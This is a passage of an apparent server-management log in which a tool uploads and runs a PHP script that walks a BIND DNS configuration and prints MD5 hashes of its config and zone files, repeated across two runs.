MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 32bb84ecc87899e527a2cce59643ab1e
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-11-18 16:33:42: Establishing a connection
2025-11-18 16:33:42:
PUT: /tmp/pkp119735
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-11-18 16:33:42:
runuser -l bind -s /bin/bash -c '/tmp/pkp119735; rm /tmp/pkp119735'
2025-11-18 16:33:42:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 32bb84ecc87899e527a2cce59643ab1e
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-11-18 16:33:44: Establishing a connection
2025-11-18 16:33:44:
PUT: /tmp/pkp719242
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-11-18 16:33:44:
runuser -l bind -s /bin/bash -c '/tmp/pkp719242; rm /tmp/pkp719242'
2025-11-18 16:33:44:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
